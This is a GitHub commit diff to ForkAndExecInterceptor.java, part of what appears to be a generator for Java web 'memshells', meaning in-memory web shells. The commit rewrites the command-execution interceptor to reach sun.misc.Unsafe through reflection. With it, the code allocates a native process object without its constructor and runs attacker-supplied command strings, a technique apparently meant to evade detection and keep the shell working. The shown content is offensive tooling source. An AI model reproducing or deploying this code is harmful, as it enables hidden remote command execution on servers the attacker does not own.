Skip to content

Commit ffcff35

Browse files
committed
feat: use unsafe by reflection
1 parent 15c8dfc commit ffcff35

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
package com.reajason.javaweb.memshell.generator.command;
22

33
import net.bytebuddy.asm.Advice;
4-
import sun.misc.Unsafe;
54

65
import java.io.IOException;
76
import java.io.InputStream;
@@ -17,9 +16,10 @@ public class ForkAndExecInterceptor {
1716
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
1817
try {
1918
String[] strs = cmd.split("\\s+");
20-
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
21-
theUnsafeField.setAccessible(true);
22-
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
19+
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
20+
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
21+
unsafeField.setAccessible(true);
22+
Object unsafe = unsafeField.get(null);
2323

2424
Class<?> processClass = null;
2525

@@ -28,7 +28,7 @@ public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(
2828
} catch (ClassNotFoundException e) {
2929
processClass = Class.forName("java.lang.ProcessImpl");
3030
}
31-
Object processObject = unsafe.allocateInstance(processClass);
31+
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
3232

3333
byte[][] args = new byte[strs.length - 1][];
3434
int size = args.length;

0 commit comments

Comments
 (0)